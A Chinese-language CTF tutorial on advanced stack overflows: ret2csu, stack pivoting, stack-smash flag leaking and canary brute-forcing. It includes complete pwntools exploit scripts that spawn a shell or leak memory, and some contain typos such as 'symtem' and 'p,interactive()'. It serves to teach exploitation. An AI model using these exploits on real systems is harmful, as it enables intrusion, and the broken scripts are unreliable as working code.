栈溢出进阶
ret2csu
64位传参规则
在64位程序中,前6个参数依次存放在rdi,rsi,rdx,rcx,r8,r9寄存器中,从第七个开始放入栈中。
程序分析
.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
// call qword ptr [r12+rbx*8]
//把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址
//调用了函数指针数组里面的某个函数
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
.text:0000000000400624
.text:0000000000400624 ; ---------------------------------------------------------------------------
gadget分析
先分为两段gadget,因为第一段那里有ret,先执行第一段,控制参数,再执行第二段,执行函数
第一段
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
第二段
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
汇编分析
- 从0000000000400616一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据(因为都是向寄存器pop),对应汇编如下:
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
- 从0000000000400600到0000000000400609 ,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi,所以也可以控制rdi寄存器的值,只不过只能控制低32位,而这三个寄存器,也是x64函数调用中传递的前三个寄存器,(edi,rsi,rdx),此外,通过call那里的指令,我们可以控制r12+rbx*8的值,进而调用我们想要调用的函数,可以令rbx为0,r12为存储我们想要调用函数的地址,汇编如下:
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
// call qword ptr [r12+rbx*8]
//把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址
//调用了函数指针数组里面的某个函数
- 从000000000040060D 到0000000000400614,我们可以控制rbx与rbp的关系为rbp=rbx+1,这样就能继续向下执行,简单设置rbx为0,rbp为1
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
例题
下面开始结合具体题目进行分析
函数分析
- 首先是64位程序,开启了nx保护,main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
vulnerable_function();
return 0;
}
- 进入vulunerable_function函数
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
- 发现了read函数,这是一个简单的栈溢出函数
ssize_t read(int fd,void*buf,size_t count)
参数:
fd 文件描述符
buf 读出数据的缓冲区
count 每次读取字节数
计算偏移
- 下面计算一下偏移,ida查看和在gdb中利用调试都是0x88,即136
思路分析
- 发现没有system函数,但有一个已知的write函数,通过调用write在got表中的地址来调用write函数,下面了解一下write函数的结构
ssize_t write(int fd,const void*buf,size_t count)
write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出,下面需要在寄存器中部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出自身函数地址
寻找write函数真实地址-payload1
下面开始寻找write函数在内存中的真实地址
from pwn import* p=process() elf = ELF() pop_addr = 0x40061a write_got = elf.got['write'] mov_addr = 0x400600 main_addr = elf.symbols['main'] p.recvuntil('Hello,World\n') payload0 = b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr) p.sendline(payload0) write_start = u64(p.recv(8)) print "write_addr_in_memory_is" + hex(write_start)
下面对paylaod0进行重点分析,先输入136个字符使程序发生栈溢出,然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0,1,write_got函数地址,8,write_got,1分别pop到寄存器rbx,rbp,r12,r13,r14,r15中去,所有寄存器的存放内容
.text:000000000040061A pop rbx //rbx->0 .text:000000000040061B pop rbp //rbp->1 .text:000000000040061C pop r12 //r12->write_got函数地址 .text:000000000040061E pop r13 //r13->8 .text:0000000000400620 pop r14 //r14->write_got函数地址 .text:0000000000400622 pop r15 //r15->1 .text:0000000000400624 retn //覆盖为mov_addr
说一下payload中两个write_got函数的作用,在布置完寄存器中,有call qword ptr[p12+rbx*8]调用了write函数,其参数为write_got函数地址,r14寄存器,写成c语言类似为:write(write_got函数地址)==printf(write_gothas、函数地址),再使用u64(p.recv(8))接受数据,再print出来就行
之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi
.text:0000000000400600 mov rdx, r13 //rdx==r13==8 .text:0000000000400603 mov rsi, r14 //rsi==r14==write_got函数地址 .text:0000000000400606 mov edi, r15d //edi==r15d==1 .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] //call write_got函数地址 .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp //rbx==1,rbp==1 .text:0000000000400614 jnz short loc_400600 //jnz(jne)结果不为零(不相等)则跳转
从整体上来看,我们输入了‘a'*136,利用payload0对寄存器重新布局后又重新回到了main函数,
再说b’a'(0x8+8x6)的作用,他的作用就是为了平衡堆栈,也就是说,当mov_addr执行完之后,按照流程仍然执行400616处的函数,我们不希望它执行到此,因为会再次pop寄存器更换我们布置好的内容,所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容
第一部分exp上述已知,这样就获得了write函数的真实地址
执行system函数-payload2
这道题目我们使用系统自带的libc.so.6文件,请注意:当程序加载的时候会寻找同目录下的libc.so.6文件,如果存在,则会自动加载,而不会去加载系统自带的libc文件
libc = ELF() #libc = ELF('libc.so.6') libc_base=write_start-libc.symbols['write'] system_addr=libc.symbols['symtem']+libc_base binsh=next(libc.search('/bin/sh'))+libc_base print"libc_base_addr_in_memory_is"+hex(libc_base) print"system_addr_in_memory_is"+hex(system_addr) print"/bin/sh_addr_in_memory_is"+hex(binsh) pop_rdi_ret=0x400623 payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr) p.send(payload) p.interactive()
当我们获得write函数真实地址后,就可以计算出libc文件的基地址,从而计算出system函数和/bin/sh字符串在内存中的地址,从而利用它。
下面看一下第二个payload的含义,当程序重新执行到main函数的时候,我们利用栈溢出让返回地址被pop_rdi_ret覆盖,从而程序执行pop_rdi_ret,之所以用这个gadget,参见64位传参规则
此处需要注意的是,当我们send payload之后,pop_rdi_ret,binsh和system_addr被送入到了栈中,利用gadgets:pop_rdi_ret将栈中的binsh地址送往rdi寄存器中,也就是说pop_rdi_ret的参数是地址binsh,然后将system函数地址覆盖到ret,程序就会执行此system函数。
完整exp
from pwn import*
p = process()
elf = ELF()
pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']
p.recvuntil('Hello,World\n')
payload0 = b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)
write_start = u64(p.recv(8))
print "write_addr_in_memory_is" + hex(write_start)
libc = ELF()
#libc = ELF('libc.so.6')
libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['symtem']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base
print"libc_base_addr_in_memory_is"+hex(libc_base)
print"system_addr_in_memory_is"+hex(system_addr)
print"/bin/sh_addr_in_memory_is"+hex(binsh)
pop_rdi_ret=0x400623
payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr)
p.send(payload)
p.interactive()
花式栈溢出
栈迁移
definition
用gadget改变esp的值
控制esp!
application
- 栈溢出长度不足以直接使用ROP
- 栈溢出payload会出现空字符截断,且gadget地址存在空字符
- 在泄露地址信息后需要新的ROPgadget
pop ebp ret
- esp已经在和ebp相同的位置了,直接pop ret
leave ret
- 先把esp抬高到和ebp同样高的位置,然后再执行pop ret
基本过程
Stack smash
基本原理
Stack smash基本原理是利用程序中栈(stack)这个数据结构的特点,通过非法的输入数据来改变栈中的指针和返回地址,从而让程序执行一些攻击者预先设定的恶意代码。
Stack smash简单点来说就是绕过Canary保护的技术。在程序加载了canary保护之后,如果我们通过栈溢出在覆盖缓冲区的时候就会连带着覆盖了canary保护的Cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
在这段代码中,stack_chk_fail函数是在程序检测到栈溢出错误时被调用的函数,该函数使用了特殊的__attribute ((noreturn))修饰符,表示函数不会返回。fortify_fail函数是被stack_chk_fail调用的函数,它的作用是输出一个错误信息,并终止程序的执行。
具体而言,当程序检测到栈溢出错误时,会调用stack_chk_fail函数,在该函数中会调用fortify_fail函数,输出错误信息并终止程序执行。fortify_fail函数使用了libc_message函数输出错误信息,其中第一个参数是错误信息,第二个参数是程序的名称,如果没有传递该参数,则使用"<unknown>"表示程序名称。</unknown>
这段代码的作用是保护程序免受栈溢出攻击,一旦发现栈溢出错误,程序就会立即终止执行,并输出错误信息,从而防止攻击者利用栈溢出漏洞执行恶意代码。
所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息。
简单的来说,就是利用程序的栈溢出来打印flag
示例
程序分析
- 程序开启了NX和Canary保护
扔到ida进行分析
main
看sub_4007E0的伪代码
程序提供了两次输入:!_IO_gets(&v3)和_IO_getc(stdin);;这两次输入都存在这栈溢出漏洞。
第二次的输入:我们将内容输入到stdio中,最后赋值给了byte_600D20。它从标准输入读取用户输入的字符,直到读取了 32 个字符或遇到换行符为止。将这些字符存储在名为
byte_600D20
的静态字符数组中。如果用户输入的字符不足 32 个,则使用memset
函数将数组剩余部分填充为零。memset函数: memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
memset函数的原型为: void * memset( void * ptr, int value, size_t num ); 参数说明: ptr 为要操作的内存的指针。 value 为要设置的值。你既可以向 value 传递 int 类型的值,也可以传递 char 类型的值,int 和 char 可以根据 ASCII 码相互转换。 num 为 ptr 的前 num 个字节,size_t 就是unsigned int。
因此这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。
我们再看一下的byte_600D20内容:PCTF{Here's the flag on server}
这个flag提示我们真正的flag在服务器上,因此这道题并不是让我们getshell,而是通过栈溢出打印出远程服务器上真正的flag。
解题思路
那么这时候问题就来了,程序会要求我们输入内容,但是输入的内容总会覆盖真正的flag(byte_600D20),那现在应该怎么办呢?
这时候我们就需要利用“ELF重映射”特点:
简单来说,ELF重映射就是程序在内存中的位置调整,让它能够更好地运行和扩展,就像房子需要更大的土地一样。
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出
当可执行文件足够小的时候,他的不同区段可能会被多次映射。
下面开始打开gdb,现在main函数处下一个断点,运行程序
- 输入vmmap查看程序的内存映射
注意开头的
0x401000 r-xp 1000 0 /home/kk/pwnttt/smashes 0x601000 rw-p 1000 0 /home/kk/pwnttt/smashes
在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件(offset)0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。
flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d20和0x00400d20。所以虽然0x00600d20位置的flag被覆盖了,但是依然可以在0x00400d20找到flag(相当于flag的备份)。
我们知道了flag在内存中存放的位置,接下来就要让程序打印出来它
寻找argv[0]指针位置
接下来寻找一下argv[0]所在的位置,argv[0]会有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点来寻找:
可以看到在0x7fffffffe2d4中存放着程序名称,但是这个地址被存放在0x7fffffffdf68处,所以只要把0x7fffffffdf68中的内容替换成flag就可以了。
当然也可以在gdb中使用命令“p & __libc_argv[0]”就可以得到argv[0]的地址
寻找输入时栈顶的位置
为什么这一步要找输入时的栈顶位置呢?往下看就知道了。
首先我们先看一下gets函数调用的位置,在IDA中查看:
从汇编中可以看出在call gets之前,程序将参数放在了rdi中,由于有mov rdi, rsp的存在,因此gets的参数一开始是放在栈里的。继续gdb调试,在gets(0x40080E)下断点,查看栈的内容,如下图所示:
- 由上图可以看出,rdi寄存器中的值为rsp寄存器的内容,由64位的传参规则可知,rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参,所以当前的栈顶就是gets函数的一参。
- 所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的溢出长度,
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process('./pwnttt/smashes')
payload='a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','kk')#第二次的gets输入任意内容即可
print p.recv()
爆破canary
原理
- 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
- 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
- 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。
题目分析
检查保护
32位程序,开启了canary保护和NX保护,将文件放入ida中
ida
分析可知看出,main函数中存在fork函数,这是爆破canary的重点
fun()
进入fun()函数
发现read(0, buf, 0x78u);通过对栈段的查看,我们可以输入0x78的内容
但是buf的空间为:0x70-0xc=0x64
因此可以发生栈溢出覆盖其他变量,其中v2就是保存的Canary变量
*
解题思路
- 一位一位的去爆破Canary,使用栈溢出填充垃圾字符,直到Canary ,然后再尝试填充Canary
- 若Canary正确,则进行下一位的爆破
- 若Canary错误,程序会执行fork重新运行
注意
- Canary的形式填充到寄存器中的形式为:aaaax\00
爆破Canary的通用模板
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()
if local:
p = process()
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print"正在爆破Canary的第” + str(k+1)+"位"
print"当前的字符为"+ chr(i)
payload=b'a'*100 + canary + chr(i)
print "当前payload为:",payload
p.send(b'a'*100 + canary +chr(i))
data = p.recvuntil("welcome\n")
print data
if "sucess" in data:
canary += chr(i)
print "Canary is:" + canary
break
本题exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386',os='linux')
local = 1
elf = ELF()
if local:
p = process()
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print"正在爆破Canary的第” + str(k+1)+"位"
print"当前的字符为"+ chr(i)
payload=b'a'*100 + canary + chr(i)
print "当前payload为:",payload
p.send(b'a'*100 + canary +chr(i))
data = p.recvuntil("welcome\n")
print data
if "sucess" in data:
canary += chr(i)
print "Canary is:" + canary
break
addr = 0x0804863B
payload = b'A'*100 + canary + b'A'*12 + p32(addr)
p.send(payload)
p,interactive()